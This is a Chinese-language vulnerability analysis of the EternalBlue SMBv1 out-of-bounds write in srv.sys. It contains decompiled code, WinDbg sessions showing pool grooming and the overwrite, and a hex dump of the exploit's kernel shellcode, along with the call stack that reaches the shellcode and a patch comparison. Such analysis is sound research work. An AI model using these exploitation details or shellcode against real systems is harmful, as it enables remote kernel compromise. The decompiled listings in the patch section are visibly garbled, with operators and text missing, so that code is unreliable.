Eternalblue SMBv1 SrvOs2FeaToNt OOB srv.sys在处理SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝。漏洞触发点如下:
unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) { int v4; // edi@1 _BYTE *v5; // edi@1 unsigned int result; // eax@1 v4 = a1 + 8; *(_BYTE *)(a1 + 4) = *(_BYTE *)a2; *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1); *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2); _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1)); v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4); *v5++ = 0; _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); //这里产生的越界写 result = (unsigned int)&v5[*(_WORD *)(a1 + 6) + 3] & 0xFFFFFFFC; *(_DWORD *)a1 = result - a1; return result; }发生越界的地方见上面第二个memmove。调试的时候可以这样下断点:
kd> u srv!SrvOs2FeaToNt+0x4d srv!SrvOs2FeaToNt+0x4d: 9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)] 9877b27e 0fb74606 movzx eax,word ptr [esi+6] 9877b282 8d441803 lea eax,[eax+ebx+3] 9877b286 83e0fc and eax,0FFFFFFFCh 9877b289 83c418 add esp,18h 9877b28c 8bc8 mov ecx,eax 9877b28e 2bce sub ecx,esi 9877b290 5f pop edi //最后一次越界的拷贝的长度是0xa8 ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}"这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现:
kd> dd esp 99803b38 88c8dff9 a3fc203a 000000a8 88c8dff8 99803b48 a3fc2039 00000000 a3fb20d8 a3fc2035 99803b58 a3fd2030 99803b7c 9877b603 88c8dff0 99803b68 a3fc2035 88307360 a3fb20b4 a3fb2008 99803b78 a3fc2035 99803bb4 98794602 88c8dff0 99803b88 99803bbc 99803ba8 99803bac 88307360 99803b98 a3fb2008 00000002 a3fb20b4 a3fb20d8 99803ba8 00010fe8 00000000 00000000 99803c00 kd> !pool 88c8dff9 Pool page 88c8dff9 region is Nonpaged pool *88c7d000 : large page allocation, tag is LSdb, size is 0x11000 bytes Pooltag LSdb : SMB1 data buffer, Binary : srv.sys kd> !pool 88c8e009 Pool page 88c8e009 region is Nonpaged pool 88c8e000 size: 8 previous size: 0 (Free) .... 88c8e008 doesn''t look like a valid small pool allocation, checking to see if the entire page is actually part of a large page allocation... *88c8e000 : large page allocation, tag is LSbf, size is 0x11000 bytes Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys kd> ? 88c7d000 +11000 Evaluate expression: -2000101376 = 88c8e000 kd> ? 88c8dff9 +a8 Evaluate expression: -2000101215 = 88c8e0a1 //这里明显越界了。 我们可以从上面的调试记录看到明显的越写拷贝操作。可以看到被覆盖的是SMB1的buffer是有srvnet.sys分配的。这里exploit精心布局好的,是通过pool喷射的将两个pool连接在一起的。覆盖后面的这个pool有啥用后面会提到。 有同学会说这只是现象还没有看到漏洞真正的成因。unsigned int __fastcall SrvOs2FeaListSizeToNt(int pOs2Fea) { unsigned int v1; // edi@1 int Length; // ebx@1 int pBody; // esi@1 unsigned int v4; // ebx@1 int v5; // ecx@3 int v8; // [sp+10h] [bp-8h]@3 unsigned int v9; // [sp+14h] [bp-4h]@1 v1 = 0; Length = *(_DWORD *)pOs2Fea; pBody = pOs2Fea + 4; v9 = 0; v4 = pOs2Fea + Length; while ( pBody < v4 ) { if ( pBody + 4 >= v4 || (v5 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2), v8 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2), v5 + pBody + 5 > v4) ) { // // 注意这里修改了Os2Fea的Length,自动适应大小 // 本来是一个DWORD为什么强制转换成WORD????? // 初始值是0x10000,最终变成了0x1ff5d // *(_WORD *)pOs2Fea = pBody - pOs2Fea; return v1; } if ( RtlULongAdd(v1, (v5 + 0xC) & 0xFFFFFFFC, &v9) < 0 ) return 0; v1 = v9; pBody += v8 + 5; } return v1; } unsigned int __fastcall SrvOs2FeaListToNt(int pOs2Fea, int *pArgNtFea, int *a3, _WORD *a4) { __int16 v5; // bx@1 unsigned int Size; // eax@1 NTFEA *pNtFea; // ecx@3 int pOs2FeaBody; // esi@9 int v10; // edx@9 unsigned int v11; // esi@14 int v12; // [sp+Ch] [bp-Ch]@11 unsigned int v14; // [sp+20h] [bp+8h]@9 v5 = 0; Size = SrvOs2FeaListSizeToNt(pOs2Fea); *a3 = Size; if ( !Size ) { *a4 = 0; return 0xC098F0FF; } pNtFea = (NTFEA *)SrvAllocateNonPagedPool(Size, 0x15); *pArgNtFea = (int)pNtFea; if ( pNtFea ) { pOs2FeaBody = pOs2Fea + 4; v10 = (int)pNtFea; v14 = pOs2Fea + *(_DWORD *)pOs2Fea - 5; if ( pOs2Fea + 4 > v14 ) { LABEL_13: if ( pOs2FeaBody == pOs2Fea + *(_DWORD *)pOs2Fea ) { *(_DWORD *)v10 = 0; return 0; } v11 = 0xC0000001; *a4 = v5 - pOs2Fea; } else { while ( !(*(_BYTE *)pOs2FeaBody & 0x7F) ) { v12 = (int)pNtFea; v5 = pOs2FeaBody; pNtFea = (NTFEA *)SrvOs2FeaToNt(pNtFea, pOs2FeaBody); pOs2FeaBody += *(_BYTE *)(pOs2FeaBody + 1) + *(_WORD *)(pOs2FeaBody + 2) + 5; // // 由于SrvOs2FeaListSizeToNt将pOs2Fea的Length改大了。 // 而且变得大了不少,所以这里的判读就没有什么意义了。最终导致越界的产生。 // if ( pOs2FeaBody > v14 ) { v10 = v12; goto LABEL_13; } } *a4 = pOs2FeaBody - pOs2Fea; v11 = 0xC000000D; } SrvFreeNonPagedPool(*pArgNtFea); return v11; } if ( BYTE1(WPP_GLOBAL_Control->Flags) >= 2u && WPP_GLOBAL_Control->Characteristics & 1 && KeGetCurrentIrql() < 2u ) { _DbgPrint("SrvOs2FeaListToNt: Unable to allocate %d bytes from nonpaged pool.", *a3, 0); _DbgPrint("\n"); } return 0xC0000205; }首先SrvOs2FeaListToNt首先调用SrvOs2FeaListSizeToNt计算pNtFea的大小。这里注意了SrvOs2FeaListSizeToNt函数会修改原始的pOs2Fea中的Length大小,本来Length是一个DWORD, 代码还强制转换成了WORD,不能不让人联想一些事。然后以计算出来的Length来分配pNtFea.最后调用SrvOs2FeaToNt来实现转换。SrvOs2FeaToNt后面的判断就有问题了。这里还不止一个问题。 覆盖前 8d1aa000 00 10 01 00 00 00 00 00 58 00 00 00 70 ........X...p 8d1aa00d 09 11 95 08 00 00 00 08 2f 1f 9f 08 2f ......../.../ 8d1aa01a 1f 9f 60 a1 1a 8d a0 0e 01 00 80 00 00 ..`.......... 8d1aa027 00 3c a0 1a 8d 00 00 00 00 f7 ff 00 00 . !pte ffdff000 VA ffdff000 PDE at C0603FF0 PTE at C07FEFF8 contains 000000000018A063 contains 00000000001E3163 pfn 18a ---DA--KWEV pfn 1e3 -G-DA--KWEV win10 kd> !pte ffd0f000 VA ffd0f000 PDE at C0603FF0 PTE at C07FE878 contains 0000000000616063 contains 800000000000E963 pfn 616 ---DA--KWEV pfn e -G-DA--KW-V覆盖完之后是这样。 kd> db ffdff000 l1000 ffdff000 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................ ffdff010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff020 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................ ffdff030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0a0 b0 00 d0 ff ff ff ff ff-b0 00 d0 ff ff ff ff ff ................ ffdff0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0c0 c0 f0 df ff c0 f0 df ff-00 00 00 00 00 00 00 00 ................ ffdff0d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff180 00 00 00 00 00 00 00 00-00 00 00 00 90 f1 df ff ................ ffdff190 00 00 00 00 f0 f1 df ff-00 00 00 00 00 00 00 00 ................ ffdff1a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1d0 00 00 00 00 00 00 00 00-f0 01 d0 ff ff ff ff ff ................ ffdff1e0 00 00 00 00 00 00 00 00-00 02 d0 ff ff ff ff ff ................ ffdff1f0 00 31 c0 40 90 74 08 e8-09 00 00 00 c2 24 00 e8 .1.@.t.......$.. ffdff200 a7 00 00 00 c3 e8 01 00-00 00 eb 90 5b b9 76 01 ............[.v. ffdff210 00 00 0f 32 a3 fc ff df-ff 8d 43 17 31 d2 0f 30 ...2......C.1..0 ffdff220 c3 b9 23 00 00 00 6a 30-0f a1 8e d9 8e c1 64 8b ..#...j0......d. ffdff230 0d 40 00 00 00 8b 61 04-ff 35 fc ff df ff 60 9c .@....a..5....`. ffdff240 6a 23 52 9c 6a 02 83 c2-08 9d 80 4c 24 01 02 6a j#R.j......L$..j ffdff250 1b ff 35 04 03 df ff 6a-00 55 53 56 57 64 8b 1d ..5....j.USVWd.. ffdff260 1c 00 00 00 6a 3b 8b b3-24 01 00 00 ff 33 31 c0 ....j;..$....31. ffdff270 48 89 03 8b 6e 28 6a 01-83 ec 48 81 ed 9c 02 00 H...n(j...H..... ffdff280 00 a1 fc ff df ff b9 76-01 00 00 31 d2 0f 30 fb .......v...1..0. ffdff290 e8 11 00 00 00 fa 64 8b-0d 40 00 00 00 8b 61 04 ......d..@....a. ffdff2a0 83 ec 28 9d 61 c3 e9 ef-00 00 00 b9 82 00 00 c0 ..(.a........... ffdff2b0 0f 32 48 bb f8 0f d0 ff-ff ff ff ff 89 53 04 89 .2H..........S.. ffdff2c0 03 48 8d 05 0a 00 00 00-48 89 c2 48 c1 ea 20 0f .H......H..H.. . ffdff2d0 30 c3 0f 01 f8 65 48 89-24 25 10 00 00 00 65 48 0....eH.$%....eH ffdff2e0 8b 24 25 a8 01 00 00 50-53 51 52 56 57 55 41 50 .$%....PSQRVWUAP ffdff2f0 41 51 41 52 41 53 41 54-41 55 41 56 41 57 6a 2b AQARASATAUAVAWj+ ffdff300 65 ff 34 25 10 00 00 00-41 53 6a 33 51 4c 89 d1 e.4%....ASj3QL.. ffdff310 48 83 ec 08 55 48 81 ec-58 01 00 00 48 8d ac 24 H...UH..X...H..$ ffdff320 80 00 00 00 48 89 9d c0-00 00 00 48 89 bd c8 00 ....H......H.... ffdff330 00 00 48 89 b5 d0 00 00-00 48 a1 f8 0f d0 ff ff ..H......H...... ffdff340 ff ff ff 48 89 c2 48 c1-ea 20 48 31 db ff cb 48 ...H..H.. H1...H ffdff350 21 d8 48 31 c9 b9 82 00-00 c0 0f 30 fb e8 38 00 !.H1.......0..8. ffdff360 00 00 fa 65 48 8b 24 25-a8 01 00 00 48 83 ec 78 ...eH.$%....H..x0xffdff1f1处为shellcode.最后在接收完成后,最终调到srvnet!SrvNetWskReceiveComplete.可以这么下断点 srvnet!SrvNetWskReceiveComplete: 986e9569 8bff mov edi,edi 986e956b 55 push ebp 986e956c 8bec mov ebp,esp 986e956e 8b450c mov eax,dword ptr [ebp+0Ch] 986e9571 8b4818 mov ecx,dword ptr [eax+18h] 986e9574 53 push ebx 986e9575 8b581c mov ebx,dword ptr [eax+1Ch] 986e9578 56 push esi 986e9579 8b7510 mov esi,dword ptr [ebp+10h] 986e957c 57 push edi 986e957d 8b7e24 mov edi,dword ptr [esi+24h] 986e9580 50 push eax 986e9581 894d0c mov dword ptr [ebp+0Ch],ecx 986e9584 c6451300 mov byte ptr [ebp+13h],0 986e9588 ff1518106f98 call dword ptr [srvnet!_imp__IoFreeIrp (986f1018)] 986e958e 33c0 xor eax,eax 986e9590 39450c cmp dword ptr [ebp+0Ch],eax 986e9593 7553 jne srvnet!SrvNetWskReceiveComplete+0x7f (986e95e8) kd> .reload srvnet.sys kd> ba e1 srvnet!SrvNetWskReceiveComplete+0x13 ".if(poi(esi+0x24) == ffdff020) {} .else {gc}" 最终调用到shellcode的调用栈为: # ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 00 83f6c2e0 986ea290 00000000 00000000 00000420 0xffdff1f1 01 83f6c330 986e8204 ffdff020 00001068 00001068 srvnet!SrvNetCommonReceiveHandler+0x94 (FPO: [Non-Fpo]) 02 83f6c370 986e95db ffdff020 00000001 870cb26b srvnet!SrvNetIndicateData+0x73 (FPO: [Non-Fpo]) 03 83f6c38c 83ebaf83 00000000 02000000 019bd010 srvnet!SrvNetWskReceiveComplete+0x72 (FPO: [Non-Fpo]) 04 83f6c3d0 8998db8c 865fd020 83f6c454 89661c8a nt!IopfCompleteRequest+0x128 05 83f6c3dc 89661c8a 870cb1f8 00000000 00001068 afd!WskProTLReceiveComplete+0x5e (FPO: [Non-Fpo]) 06 83f6c454 8964d839 865fd020 00000000 8841a608 tcpip!TcpCompleteClientReceiveRequest+0x1c (FPO: [Non-Fpo]) 07 83f6c4c0 8964d8be 8841a608 8841a700 00000000 tcpip!TcpFlushTcbDelivery+0x1f6 (FPO: [Non-Fpo]) 08 83f6c4dc 8965af7f 8841a608 00000000 83f6c5d0 tcpip!TcpFlushRequestReceive+0x1c (FPO: [Non-Fpo]) 09 83f6c518 8965ae47 8841a608 8841a608 83f6c5a8 tcpip!TcpDeliverFinToClient+0x37 (FPO: [Non-Fpo]) 0a 83f6c528 896abfc1 8841a608 83f6c688 8841a608 tcpip!TcpAllowFin+0x86 (FPO: [Non-Fpo]) 0b 83f6c5a8 896aa5a5 86f8c078 8841a608 83f6c5d0 tcpip!TcpTcbCarefulDatagram+0x16f2 (FPO: [Non-Fpo]) 0c 83f6c614 8968da38 86f8c078 8841a608 00f6c688 tcpip!TcpTcbReceive+0x22d (FPO: [Non-Fpo]) 0d 83f6c67c 8968e23a 8656b9b8 86f9657c 86f965f0 tcpip!TcpMatchReceive+0x237 (FPO: [Non-Fpo]) 0e 83f6c6cc 8965dd90 86f8c078 86f9600c 00003d08 tcpip!TcpPreValidatedReceive+0x263 (FPO: [Non-Fpo]) 0f 83f6c6e0 89693396 83f6c6fc 00000011 86f96008 tcpip!TcpNlClientReceivePreValidatedDatagrams+0x15 (FPO: [Non-Fpo]) 10 83f6c704 896938dd 83f6c710 00000000 00000011 tcpip!IppDeliverPreValidatedListToProtocol+0x33 (FPO: [Non-Fpo]) 11 83f6c7a0 89698a7b 8665d918 00000000 83f79480 tcpip!IpFlcReceivePreValidatedPackets+0x479 (FPO: [Non-Fpo]) 12 83f6c7c8 83ecbb95 00000000 ee2bb116 865bab48 tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xfc (FPO: [Non-Fpo]) 13 83f6c830 89698c0b 8969897f 83f6c858 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132 14 83f6c86c 8951f18d 8665d002 87773900 00000000 tcpip!FlReceiveNetBufferListChain+0x7c (FPO: [Non-Fpo]) 15 83f6c8a4 8950d5be 8665eaa8 87773988 00000000 ndis!ndisMIndicateNetBufferListsToOpen+0x188 (FPO: [Non-Fpo]) 16 83f6c8cc 8950d4b2 00000000 87773988 871650e0 ndis!ndisIndicateSortedNetBufferLists+0x4a (FPO: [Non-Fpo]) 17 83f6ca48 894b8c1d 871650e0 00000000 00000000 ndis!ndisMDispatchReceiveNetBufferLists+0x129 (FPO: [Non-Fpo]) 18 83f6ca64 8950d553 871650e0 87773988 00000000 ndis!ndisMTopReceiveNetBufferLists+0x2d (FPO: [Non-Fpo]) 19 83f6ca8c 894b8c78 871650e0 87773988 00000000 ndis!ndisMIndicateReceiveNetBufferListsInternal+0x62 (FPO: [Non-Fpo]) 1a 83f6cab4 903ab7f4 871650e0 87773988 00000000 ndis!NdisMIndicateReceiveNetBufferLists+0x52 (FPO: [Non-Fpo]) 1b 83f6cafc 903aa77e 00000000 87792660 00000001 E1G60I32!RxProcessReceiveInterrupts+0x108 (FPO: [Non-Fpo]) 1c 83f6cb14 8950d89a 011e9138 00000000 83f6cb40 E1G60I32!E1000HandleInterrupt+0x80 (FPO: [Non-Fpo]) 1d 83f6cb50 894b8a0f 87792674 00792660 00000000 ndis!ndisMiniportDpc+0xe2 (FPO: [Non-Fpo]) 1e 83f6cb78 83eba696 87792674 87792660 00000000 ndis!ndisInterruptDpc+0xaf (FPO: [Non-Fpo]) 1f 83f6cbd4 83eba4f8 83f6fe20 83f79480 00000000 nt!KiExecuteAllDpcs+0xfa 20 83f6cc20 83eba318 00000000 0000000e 00000000 nt!KiRetireDpcList+0xd5 21 83f6cc24 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x38 (FPO: [0,0,0])关于补丁 int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { int v1; // edi@1 int v2; // ebx@1 unsigned int v3; // esi@1 unsigned int v4; // ebx@1 _DWORD *v6; // [sp+Ch] [bp-Ch]@1 int v7; // [sp+10h] [bp-8h]@3 int v8; // [sp+14h] [bp-4h]@1 v1 = 0; v6 = a1; v2 = *a1; v3 = (unsigned int)(a1 + 1); v8 = 0; v4 = (unsigned int)a1 + v2; while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)) { *(WORD*)v6 = v3 - (_DWORD)v6; return v1; } if (RtlULongAdd(&v8) = 1u && v10 Flags) >= 2u && WPP_GLOBAL_Control->Characteristics & 1 && KeGetCurrentIrql() AttachedDevice, WPP_GLOBAL_Control->CurrentIrp); } goto LABEL_104; } //goto error //略... }修复后: int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { int v1; // edi@1 int v2; // ebx@1 unsigned int v3; // esi@1 unsigned int v4; // ebx@1 _DWORD *v6; // [sp+Ch] [bp-Ch]@1 int v7; // [sp+10h] [bp-8h]@3 int v8; // [sp+14h] [bp-4h]@1 v1 = 0; v6 = a1; v2 = *a1; v3 = (unsigned int)(a1 + 1); v8 = 0; v4 = (unsigned int)a1 + v2; while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)) { *(DWORD*)v6 = v3 - (_DWORD)v6; return v1; } if (RtlULongAdd(&v8) < 0) return 0; v1 = v8; v3 += v7 + 5; } return v1; } int __thiscall ExecuteTransaction(int this) { //略... if (*(_DWORD *)(v3 + 0x50) < 2u) { _SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c"); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } if (v11 Flags) >= 2u && WPP_GLOBAL_Control->Characteristics & 1 && KeGetCurrentIrql() AttachedDevice, WPP_GLOBAL_Control->CurrentIrp); } goto LABEL_108; } //goto error //略... }修补的方法就是将修补*(WORD*)v6 = v3 - (_DWORD)v6; 变成了*(DWORD*)v6 = v3 - (_DWORD)v6;; 还有就是*(_DWORD *)(v3 + 0x50) >= 1 变成了 *(_DWORD*)(v3 + 0x50) >= 2u 笔者在调试的时候发现触发漏洞的正好是1。
|
|